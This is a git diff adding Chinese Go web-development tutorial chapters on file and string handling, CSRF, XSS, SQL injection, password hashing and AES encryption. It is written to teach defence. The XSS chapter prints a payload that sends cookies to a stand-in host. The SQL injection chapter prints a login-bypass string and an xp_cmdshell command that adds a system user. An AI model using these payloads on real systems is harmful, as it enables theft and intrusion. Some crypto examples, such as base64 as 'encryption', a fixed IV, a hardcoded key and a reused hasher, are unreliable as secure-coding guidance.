打开名称为name的文件,flag是打开的方式,只读、读写等,perm是权限 + +### 写文件 +写文件函数: + +- func (file *File) Write(b []byte) (n int, err Error) + + 写入byte类型的信息到文件 + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + 在指定位置开始写入byte类型的信息 + +- func (file *File) WriteString(s string) (ret int, err Error) + + 写入string信息到文件 + +写文件的示例代码 +```Go + +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } +} + +``` +### 读文件 +读文件函数: + +- func (file *File) Read(b []byte) (n int, err Error) + + 读取数据到b中 + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + 从off开始读取数据到b中 + +读文件的示例代码: +```Go + +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } +} + +``` +### 删除文件 +Go语言里面删除文件和删除文件夹是同一个函数 + +- func Remove(name string) Error + + 调用该函数就可以删除文件名为name的文件 + +## links + * [目录]() + * 上一节: [模板处理](<07.4.md>) + * 下一节: [字符串处理](<07.6.md>) diff --git a/golang_frame/frame阅读/07.6.md b/golang_frame/frame阅读/07.6.md new file mode 100644 index 0000000..f0ab746 --- /dev/null +++ b/golang_frame/frame阅读/07.6.md @@ -0,0 +1,181 @@ +# 7.6 字符串处理 +字符串在我们平常的Web开发中经常用到,包括用户的输入,数据库读取的数据等,我们经常需要对字符串进行分割、连接、转换等操作,本小节将通过Go标准库中的strings和strconv两个包中的函数来讲解如何进行有效快速的操作。 +## 字符串操作 +下面这些函数来自于strings包,这里介绍一些我平常经常用到的函数,更详细的请参考官方的文档。 + +- func Contains(s, substr string) bool + + 字符串s中是否包含substr,返回bool值 + +```Go + +fmt.Println(strings.Contains("seafood", "foo")) +fmt.Println(strings.Contains("seafood", "bar")) +fmt.Println(strings.Contains("seafood", "")) +fmt.Println(strings.Contains("", "")) +//Output: +//true +//false +//true +//true + +``` + +- func Join(a []string, sep string) string + + 字符串链接,把slice a通过sep链接起来 + +```Go + +s := []string{"foo", "bar", "baz"} +fmt.Println(strings.Join(s, ", ")) +//Output:foo, bar, baz +``` + +- func Index(s, sep string) int + + 在字符串s中查找sep所在的位置,返回位置值,找不到返回-1 + +```Go + +fmt.Println(strings.Index("chicken", "ken")) +fmt.Println(strings.Index("chicken", "dmr")) +//Output:4 +//-1 +``` +- func Repeat(s string, count int) string + + 重复s字符串count次,最后返回重复的字符串 + +```Go + +fmt.Println("ba" + strings.Repeat("na", 2)) +//Output:banana +``` +- func Replace(s, old, new string, n int) string + + 在s字符串中,把old字符串替换为new字符串,n表示替换的次数,小于0表示全部替换 + +```Go + +fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) +fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) +//Output:oinky oinky oink +//moo moo moo +``` +- func Split(s, sep string) []string + + 把s字符串按照sep分割,返回slice + +```Go + +fmt.Printf("%q\n", strings.Split("a,b,c", ",")) +fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) +fmt.Printf("%q\n", strings.Split(" xyz ", "")) +fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) +//Output:["a" "b" "c"] +//["" "man " "plan " "canal panama"] +//[" " "x" "y" "z" " "] +//[""] +``` + +- func Trim(s string, cutset string) string + + 在s字符串的头部和尾部去除cutset指定的字符串 + +```Go + +fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) +//Output:["Achtung"] +``` + +- func Fields(s string) []string + + 去除s字符串的空格符,并且按照空格分割返回slice + +```Go + +fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) +//Output:Fields are: ["foo" "bar" "baz"] +``` + +## 字符串转换 +字符串转化的函数在strconv中,如下也只是列出一些常用的: + +- Append 系列函数将整数等转换为字符串后,添加到现有的字节数组中。 + +```Go + +package main + +import ( + "fmt" + "strconv" +) + +func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) +} +``` + +- Format 系列函数把其他类型的转换为字符串 +```Go + +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} + +``` + +- Parse 系列函数把字符串转换为其他类型 + +```Go + +package main + +import ( + "fmt" + "strconv" +) +func checkError(e error){ + if e != nil{ + fmt.Println(e) + } +} +func main() { + a, err := strconv.ParseBool("false") + checkError(err) + b, err := strconv.ParseFloat("123.23", 64) + checkError(err) + c, err := strconv.ParseInt("1234", 10, 64) + checkError(err) + d, err := strconv.ParseUint("12345", 10, 64) + checkError(err) + e, err := strconv.Atoi("1023") + checkError(err) + fmt.Println(a, b, c, d, e) +} + +``` + +## links + * [目录]() + * 上一节: [文件操作](<07.5.md>) + * 下一节: [小结](<07.7.md>) diff --git a/golang_frame/frame阅读/07.7.md b/golang_frame/frame阅读/07.7.md new file mode 100644 index 0000000..7763a61 --- /dev/null +++ b/golang_frame/frame阅读/07.7.md @@ -0,0 +1,7 @@ +# 7.7 小结 +这一章给大家介绍了一些文本处理的工具,包括XML、JSON、正则和模板技术,XML和JSON是数据交互的工具,通过XML和JSON你可以表达各种含义,通过正则你可以处理文本(搜索、替换、截取),通过模板技术你可以展现这些数据给用户。这些都是你开发Web应用过程中需要用到的技术,通过这个小节的介绍你能够了解如何处理文本、展现文本。 + +## links + * [目录]() + * 上一节: [字符串处理](<07.6.md>) + * 下一节: [Web服务](<08.0.md>) diff --git a/golang_frame/frame阅读/09.0.md b/golang_frame/frame阅读/09.0.md new file mode 100644 index 0000000..2fed2b3 --- /dev/null +++ b/golang_frame/frame阅读/09.0.md @@ -0,0 +1,20 @@ +# 9 安全与加密 +无论是开发Web应用的开发者还是企图利用Web应用漏洞的攻击者,对于Web程序安全这个话题都给予了越来越多的关注。特别是最近CSDN密码泄露事件,更是让我们对Web安全这个话题更加重视,所有人都谈密码色变,都开始检测自己的系统是否存在漏洞。那么我们作为一名Go程序的开发者,一定也需要知道我们的应用程序随时会成为众多攻击者的目标,并提前做好防范的准备。 + +很多Web应用程序中的安全问题都是由于轻信了第三方提供的数据造成的。比如对于用户的输入数据,在对其进行验证之前都应该将其视为不安全的数据。如果直接把这些不安全的数据输出到客户端,就可能造成跨站脚本攻击(XSS)的问题。如果把不安全的数据用于数据库查询,那么就可能造成SQL注入问题,我们将会在9.3、9.4小节介绍如何避免这些问题。 + +在使用第三方提供的数据,包括用户提供的数据时,首先检验这些数据的合法性非常重要,这个过程叫做过滤,我们将在9.2小节介绍如何保证对所有输入的数据进行过滤处理。 + +过滤输入和转义输出并不能解决所有的安全问题,我们将会在9.1讲解的CSRF攻击,会导致受骗者发送攻击者指定的请求从而造成一些破坏。 + +与安全加密相关的,能够增强我们的Web应用程序的强大手段就是加密,CSDN泄密事件就是因为密码保存的是明文,使得攻击拿手库之后就可以直接实施一些破坏行为了。不过,和其他工具一样,加密手段也必须运用得当。我们将在9.5小节介绍如何存储密码,如何让密码存储的安全。 + +加密的本质就是扰乱数据,某些不可恢复的数据扰乱我们称为单向加密或者散列算法。另外还有一种双向加密方式,也就是可以对加密后的数据进行解密。我们将会在9.6小节介绍如何实现这种双向加密方式。 + +## 目录 + ![](images/navi9.png?raw=true) + +## links + * [目录]() + * 上一章: [第八章总结](<08.5.md>) + * 下一节: [预防CSRF攻击](<09.1.md>) diff --git a/golang_frame/frame阅读/09.1.md b/golang_frame/frame阅读/09.1.md new file mode 100644 index 0000000..bf7e98f --- /dev/null +++ b/golang_frame/frame阅读/09.1.md @@ -0,0 +1,106 @@ +# 9.1 预防CSRF攻击 + +## 什么是CSRF + +CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。 + +那么CSRF到底能够干嘛呢?你可以这样简单的理解:攻击者可以盗用你的登陆信息,以你的身份模拟发送各种请求。攻击者只要借助少许的社会工程学的诡计,例如通过QQ等聊天软件发送的链接(有些还伪装成短域名,用户无法分辨),攻击者就能迫使Web应用的用户去执行攻击者预设的操作。例如,当用户登录网络银行去查看其存款余额,在他没有退出时,就点击了一个QQ好友发来的链接,那么该用户银行帐户中的资金就有可能被转移到攻击者指定的帐户中。 + +所以遇到CSRF攻击时,将对终端用户的数据和操作指令构成严重的威胁;当受攻击的终端用户具有管理员帐户的时候,CSRF攻击将危及整个Web应用程序。 + +## CSRF的原理 + +下图简单阐述了CSRF攻击的思想 + +![](images/9.1.csrf.png?raw=true) + +图9.1 CSRF的攻击过程 + +从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤 : + +- 1.登录受信任网站A,并在本地生成Cookie 。 +- 2.在不退出A的情况下,访问危险网站B。 + +看到这里,读者也许会问:“如果我不满足以上两个条件中的任意一个,就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生: + +- 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站,特别现在浏览器都是支持多tab的。 +- 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。 +- 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。 + +因此对于用户来说很难避免在登陆一个网站之后不点击一些链接进行其他操作,所以随时可能成为CSRF的受害者。 + +CSRF攻击主要是因为Web的隐式身份验证机制,Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。 + +## 如何预防CSRF +过上面的介绍,读者是否觉得这种攻击很恐怖,意识到恐怖是个好事情,这样会促使你接着往下看如何改进和防止类似的漏洞出现。 + +CSRF的防御可以从服务端和客户端两方面着手,防御效果是从服务端着手效果比较好,现在一般的CSRF防御也都在服务端进行。 + +服务端的预防CSRF攻击的方式方法有多种,但思想上都是差不多的,主要从以下2个方面入手: + +- 1、正确使用GET,POST和Cookie; +- 2、在非GET请求中增加伪随机数; + +我们上一章介绍过REST方式的Web应用,一般而言,普通的Web应用都是以GET、POST为主,还有一种请求是Cookie方式。我们一般都是按照如下方式设计应用: + +1、GET常用在查看,列举,展示等不需要改变资源属性的时候; + +2、POST常用在下达订单,改变一个资源的属性或者做其他一些事情; + +接下来我就以Go语言来举例说明,如何限制对资源的访问方法: + +```Go + +mux.Get("/user/:uid", getuser) +mux.Post("/user/:uid", modifyuser) + +``` +这样处理后,因为我们限定了修改只能使用POST,当GET方式请求时就拒绝响应,所以上面图示中GET方式的CSRF攻击就可以防止了,但这样就能全部解决问题了吗?当然不是,因为POST也是可以模拟的。 + +因此我们需要实施第二步,在非GET方式的请求中增加随机数,这个大概有三种方式来进行: + +- 为每个用户生成一个唯一的cookie token,所有表单都包含同一个伪随机值,这种方案最简单,因为攻击者不能获得第三方的Cookie(理论上),所以表单中的数据也就构造失败,但是由于用户的Cookie很容易由于网站的XSS漏洞而被盗取,所以这个方案必须要在没有XSS的情况下才安全。 +- 每个请求使用验证码,这个方案是完美的,因为要多次输入验证码,所以用户友好性很差,所以不适合实际运用。 +- 不同的表单包含一个不同的伪随机值,我们在4.4小节介绍“如何防止表单多次递交”时介绍过此方案,复用相关代码,实现如下: + +生成随机数token + +```Go + +h := md5.New() +io.WriteString(h, strconv.FormatInt(crutime, 10)) +io.WriteString(h, "ganraomaxxxxxxxxx") +token := fmt.Sprintf("%x", h.Sum(nil)) + +t, _ := template.ParseFiles("login.gtpl") +t.Execute(w, token) + +``` +输出token +```html + + + +``` +验证token + +```Go + +r.ParseForm() +token := r.Form.Get("token") +if token != "" { + //验证token的合法性 +} else { + //不存在token报错 +} + +``` +这样基本就实现了安全的POST,但是也许你会说如果破解了token的算法呢,按照理论上是,但是实际上破解是基本不可能的,因为有人曾计算过,暴力破解该串大概需要2的11次方时间。 + +## 总结 +跨站请求伪造,即CSRF,是一种非常危险的Web安全威胁,它被Web安全界称为“沉睡的巨人”,其威胁程度有此“美誉”便可见一斑。本小节不仅对跨站请求伪造本身进行了简单介绍,还详细说明造成这种漏洞的原因所在,然后以此提了一些防范该攻击的建议,希望对读者编写安全的Web应用能够有所启发。 + +## links + * [目录]() + * 上一节: [安全与加密](<09.0.md>) + * 下一节: [确保输入过滤](<09.2.md>) diff --git a/golang_frame/frame阅读/09.3.md b/golang_frame/frame阅读/09.3.md new file mode 100644 index 0000000..b6a4a1d --- /dev/null +++ b/golang_frame/frame阅读/09.3.md @@ -0,0 +1,54 @@ +# 9.3 避免XSS攻击 +随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验。所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容。动态站点会受到一种名为“跨站脚本攻击”(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响。 + +## 什么是XSS +XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供给其它用户使用的页面中。不同于大多数攻击(一般只涉及攻击者和受害者),XSS涉及到三方,即攻击者、客户端与Web应用。XSS的攻击目标是为了盗取存储在客户端的cookie或者其他网站用于识别客户端身份的敏感信息。一旦获取到合法用户的信息后,攻击者甚至可以假冒合法用户与网站进行交互。 + +XSS通常可以分为两大类:一类是存储型XSS,主要出现在让用户输入数据,供其他浏览此页的用户进行查看的地方,包括留言、评论、博客日志和各类表单等。应用程序从数据库中查询数据,在页面中显示出来,攻击者在相关页面输入恶意的脚本数据后,用户浏览此类页面时就可能受到攻击。这个流程简单可以描述为:恶意用户的Html输入Web程序->进入数据库->Web程序->用户浏览器。另一类是反射型XSS,主要做法是将脚本代码加入URL地址的请求参数里,请求参数进入程序后在页面直接输出,用户点击类似的恶意链接就可能受到攻击。 + +XSS目前主要的手段和目的如下: + +- 盗用cookie,获取敏感信息。 +- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。 +- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。 +- 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。 +- 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果 + +## XSS的原理 +Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。 + +接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:`http://127.0.0.1/?name=astaxie`,就会在浏览器输出如下信息: + + hello astaxie + +如果我们传递这样的url:`http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>`,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>`,这样就可以把当前的cookie发送到指定的站点:`www.xxx.com`。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。 + +更加详细的关于XSS的分析大家可以参考这篇叫做《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》的文章。 + +## 如何预防XSS +答案很简单,坚决不要相信用户的任何输入,并过滤掉输入中的所有特殊字符。这样就能消灭绝大部分的XSS攻击。 + +目前防御XSS主要有如下几种方式: + +- 过滤特殊字符 + + 避免XSS的方法之一主要是将用户所提供的内容进行过滤,Go语言提供了HTML的过滤函数: + + text/template包下面的HTMLEscapeString、JSEscapeString等函数 + +- 使用HTTP头指定类型 + +```Go + +`w.Header().Set("Content-Type","text/javascript")` + +这样就可以让浏览器解析javascript代码,而不会是html输出。 + +``` +## 总结 +XSS漏洞是相当有危害的,在开发Web应用的时候,一定要记住过滤数据,特别是在输出到客户端之前,这是现在行之有效的防止XSS的手段。 + +## links + * [目录]() + * 上一节: [确保输入过滤](<09.2.md>) + * 下一节: [避免SQL注入](<09.4.md>) diff --git a/golang_frame/frame阅读/09.4.md b/golang_frame/frame阅读/09.4.md new file mode 100644 index 0000000..da139c6 --- /dev/null +++ b/golang_frame/frame阅读/09.4.md @@ -0,0 +1,78 @@ +# 9.4 避免SQL注入 +## 什么是SQL注入 +SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。 + +而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使攻击者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将攻击者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了攻击者精心构造的恶意代码。 +## SQL注入实例 +很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。 + +下面将通过一些真实的例子来详细讲解SQL注入的方式。 + +考虑以下简单的登录表单: +```html + +
+

Username:

+

Password:

+

+
+ +``` +我们的处理里面的SQL可能是这样的: +```Go + +username:=r.Form.Get("username") +password:=r.Form.Get("password") +sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'" + +``` +如果用户的输入的用户名如下,密码任意 +```Go + +myuser' or 'foo' = 'foo' -- + +``` +那么我们的SQL变成了如下所示: +```Go + +SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'' AND password='xxx' +``` +在SQL里面`--`是注释标记,所以查询语句会在此中断。这就让攻击者在不知道任何合法用户名和密码的情况下成功登录了。 + +对于MSSQL还有更加危险的一种SQL注入,就是控制系统,下面这个可怕的例子将演示如何在某些版本的MSSQL数据库上执行系统命令。 +```Go + +sql:="SELECT * FROM products WHERE name LIKE '%"+prod+"%'" +Db.Exec(sql) +``` +如果攻击提交`a%' exec master..xp_cmdshell 'net user test testpass /ADD' --`作为变量 prod的值,那么sql将会变成 +```Go + +sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" +``` +MSSQL服务器会执行这条SQL语句,包括它后面那个用于向系统添加新用户的命令。如果这个程序是以sa运行而 MSSQLSERVER服务又有足够的权限的话,攻击者就可以获得一个系统帐号来访问主机了。 + +>虽然以上的例子是针对某一特定的数据库系统的,但是这并不代表不能对其它数据库系统实施类似的攻击。针对这种安全漏洞,只要使用不同方法,各种数据库都有可能遭殃。 + + +## 如何预防SQL注入 +也许你会说攻击者要知道数据库结构的信息才能实施SQL注入攻击。确实如此,但没人能保证攻击者一定拿不到这些信息,一旦他们拿到了,数据库就存在泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容易得到相关的代码。如果这些代码设计不良的话,风险就更大了。目前Discuz、phpwind、phpcms等这些流行的开源程序都有被SQL注入攻击的先例。 + +这些攻击总是发生在安全性不高的代码上。所以,永远不要信任外界输入的数据,特别是来自于用户的数据,包括选择框、表单隐藏域和 cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。 + +SQL注入攻击的危害这么大,那么该如何来防治呢?下面这些建议或许对防治SQL注入有一定的帮助。 + +1. 严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。 +2. 检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。 +3. 对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的`text/template`包里面的`HTMLEscapeString`函数可以对字符串进行转义处理。 +4. 所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用`database/sql`里面的查询函数`Prepare`和`Query`,或者`Exec(query string, args ...interface{})`。 +5. 在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。 +6. 避免网站打印出SQL错误信息,比如类型错误、字段不匹配等,把代码里的SQL语句暴露出来,以防止攻击者利用这些错误信息进行SQL注入。 + +## 总结 +通过上面的示例我们可以知道,SQL注入是危害相当大的安全漏洞。所以对于我们平常编写的Web应用,应该对于每一个小细节都要非常重视,细节决定命运,生活如此,编写Web应用也是这样。 + +## links + * [目录]() + * 上一节: [避免XSS攻击](<09.3.md>) + * 下一节: [存储密码](<09.5.md>) diff --git a/golang_frame/frame阅读/09.5.md b/golang_frame/frame阅读/09.5.md new file mode 100644 index 0000000..0f0b593 --- /dev/null +++ b/golang_frame/frame阅读/09.5.md @@ -0,0 +1,95 @@ +# 9.5 存储密码 +过去一段时间以来, 许多的网站遭遇用户密码数据泄露事件, 这其中包括顶级的互联网企业–Linkedin, 国内诸如CSDN,该事件横扫整个国内互联网,随后又爆出多玩游戏800万用户资料被泄露,另有传言人人网、开心网、天涯社区、世纪佳缘、百合网等社区都有可能成为黑客下一个目标。层出不穷的类似事件给用户的网上生活造成巨大的影响,人人自危,因为人们往往习惯在不同网站使用相同的密码,所以一家“暴库”,全部遭殃。 + +那么我们作为一个Web应用开发者,在选择密码存储方案时, 容易掉入哪些陷阱, 以及如何避免这些陷阱? + +## 普通方案 +目前用的最多的密码存储方案是将明文密码做单向哈希后存储,单向哈希算法有一个特征:无法通过哈希后的摘要(digest)恢复原始数据,这也是“单向”二字的来源。常用的单向哈希算法包括SHA-256, SHA-1, MD5等。 + +Go语言对这三种加密算法的实现如下所示: +```Go + +//import "crypto/sha256" +h := sha256.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) + +//import "crypto/sha1" +h := sha1.New() +io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") +fmt.Printf("% x", h.Sum(nil)) + +//import "crypto/md5" +h := md5.New() +io.WriteString(h, "需要加密的密码") +fmt.Printf("%x", h.Sum(nil)) + +``` +单向哈希有两个特性: + +- 1)同一个密码进行单向哈希,得到的总是唯一确定的摘要。 +- 2)计算速度快。随着技术进步,一秒钟能够完成数十亿次单向哈希计算。 + +结合上面两个特点,考虑到多数人所使用的密码为常见的组合,攻击者可以将所有密码的常见组合进行单向哈希,得到一个摘要组合, 然后与数据库中的摘要进行比对即可获得对应的密码。这个摘要组合也被称为`rainbow table`。 + +因此通过单向加密之后存储的数据,和明文存储没有多大区别。因此,一旦网站的数据库泄露,所有用户的密码本身就大白于天下。 +## 进阶方案 +通过上面介绍我们知道黑客可以用`rainbow table`来破解哈希后的密码,很大程度上是因为加密时使用的哈希算法是公开的。如果黑客不知道加密的哈希算法是什么,那他也就无从下手了。 + +一个直接的解决办法是,自己设计一个哈希算法。然而,一个好的哈希算法是很难设计的——既要避免碰撞,又不能有明显的规律,做到这两点要比想象中的要困难很多。因此实际应用中更多的是利用已有的哈希算法进行多次哈希。 + +但是单纯的多次哈希,依然阻挡不住黑客。两次 MD5、三次 MD5之类的方法,我们能想到,黑客自然也能想到。特别是对于一些开源代码,这样哈希更是相当于直接把算法告诉了黑客。 + +没有攻不破的盾,但也没有折不断的矛。现在安全性比较好的网站,都会用一种叫做“加盐”的方式来存储密码,也就是常说的 “salt”。他们通常的做法是,先将用户输入的密码进行一次MD5(或其它哈希算法)加密;将得到的 MD5 值前后加上一些只有管理员自己知道的随机串,再进行一次MD5加密。这个随机串中可以包括某些固定的串,也可以包括用户名(用来保证每个用户加密使用的密钥都不一样)。 + +```Go + +//import "crypto/md5" +//假设用户名abc,密码123456 +h := md5.New() +io.WriteString(h, "需要加密的密码") + +//pwmd5等于e10adc3949ba59abbe56e057f20f883e +pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + +//指定两个 salt: salt1 = @#$% salt2 = ^&*() +salt1 := "@#$%" +salt2 := "^&*()" + +//salt1+用户名+salt2+MD5拼接 +io.WriteString(h, salt1) +io.WriteString(h, "abc") +io.WriteString(h, salt2) +io.WriteString(h, pwmd5) + +last :=fmt.Sprintf("%x", h.Sum(nil)) + +``` +在两个salt没有泄露的情况下,黑客如果拿到的是最后这个加密串,就几乎不可能推算出原始的密码是什么了。 + +## 专家方案 +上面的进阶方案在几年前也许是足够安全的方案,因为攻击者没有足够的资源建立这么多的`rainbow table`。 但是,时至今日,因为并行计算能力的提升,这种攻击已经完全可行。 + +怎么解决这个问题呢?只要时间与资源允许,没有破译不了的密码,所以方案是:故意增加密码计算所需耗费的资源和时间,使得任何人都不可获得足够的资源建立所需的`rainbow table`。 + +这类方案有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立`rainbow table`越困难,以至于不可继续。 + +这里推荐`scrypt`方案,scrypt是由著名的FreeBSD黑客Colin Percival为他的备份服务Tarsnap开发的。 + +目前Go语言里面支持的库 https://github.com/golang/crypto/tree/master/scrypt +```Go + +dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) +``` +通过上面的方法可以获取唯一的相应的密码值,这是目前为止最难破解的。 + +## 总结 +看到这里,如果你产生了危机感,那么就行动起来: + +- 1)如果你是普通用户,那么我们建议使用LastPass进行密码存储和生成,对不同的网站使用不同的密码; +- 2)如果你是开发人员, 那么我们强烈建议你采用专家方案进行密码存储。 + +## links + * [目录]() + * 上一节: [确保输入过滤](<09.4.md>) + * 下一节: [加密和解密数据](<09.6.md>) diff --git a/golang_frame/frame阅读/09.6.md b/golang_frame/frame阅读/09.6.md new file mode 100644 index 0000000..035996b --- /dev/null +++ b/golang_frame/frame阅读/09.6.md @@ -0,0 +1,127 @@ +# 9.6 加密和解密数据 +前面小节介绍了如何存储密码,但是有的时候,我们想把一些敏感数据加密后存储起来,在将来的某个时候,随需将它们解密出来,此时我们应该在选用对称加密算法来满足我们的需求。 + +## base64加解密 +如果Web应用足够简单,数据的安全性没有那么严格的要求,那么可以采用一种比较简单的加解密方法是`base64`,这种方式实现起来比较简单,Go语言的`base64`包已经很好的支持了这个,请看下面的例子: + +```Go + +package main + +import ( + "encoding/base64" + "fmt" +) + +func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) +} + +func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) +} + +func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) +} + +``` +## 高级加解密 + +Go语言的`crypto`里面支持对称加密的高级加解密包有: + +- `crypto/aes`包:AES(Advanced Encryption Standard),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。 +- `crypto/des`包:DES(Data Encryption Standard),是一种对称加密标准,是目前使用最广泛的密钥系统,特别是在保护金融数据的安全中。曾是美国联邦政府的加密标准,但现已被AES所替代。 + +因为这两种算法使用方法类似,所以在此,我们仅用aes包为例来讲解它们的使用,请看下面的例子 +```Go + +package main + +import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" +) + +var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + +func main() { + //需要去加密的字符串 + plaintext := []byte("My name is Astaxie") + //如果传入加密串的话,plaint就是传入的字符串 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + //aes的加密字符串 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 创建加密算法aes + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + //加密字符串 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 解密字符串 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) +} + +``` +上面通过调用函数`aes.NewCipher`(参数key必须是16、24或者32位的[]byte,分别对应AES-128, AES-192或AES-256算法),返回了一个`cipher.Block`接口,这个接口实现了三个功能: + +```Go + +type Block interface { + // BlockSize returns the cipher's block size. 